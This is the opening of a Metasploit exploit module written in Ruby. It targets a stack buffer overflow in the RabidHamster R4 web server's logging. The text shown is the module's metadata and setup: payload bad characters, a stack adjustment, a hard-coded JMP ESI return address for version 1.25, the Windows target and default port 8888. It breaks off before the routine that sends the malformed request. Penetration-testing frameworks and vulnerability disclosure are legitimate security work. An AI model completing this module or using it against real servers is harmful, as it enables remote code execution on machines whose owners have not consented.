##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "RabidHamster R4 Log Entry sprintf() Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in RabidHamster R4's web server.
By supplying a malformed HTTP request, it is possible to trigger a stack-based
buffer overflow when generating a log, which may result in arbitrary code
execution under the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Luigi Auriemma', #Discovery, PoC
'sinn3r' #Metasploit
],
'References' =>
[
['OSVDB', '79007'],
['URL', 'http://aluigi.altervista.org/adv/r4_1-adv.txt'],
['URL', 'http://secunia.com/advisories/47901/']
],
'Payload' =>
{
'StackAdjustment' => -3500,
'BadChars' => "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x20"
},
'DefaultOptions' =>
{
'ExitFunction' => "process"
},
'Platform' => 'win',
'Targets' =>
[
['R4 v1.25', {'Ret'=>0x73790533}] #JMP ESI (ddraw.dll)
],
'Privileged' => false,
'DisclosureDate' => "Feb 09 2012",
'DefaultTarget' => 0))
register_options(
[
OptPort.new('RPORT', [true, 'The remote port', 8888])
], self.class)
end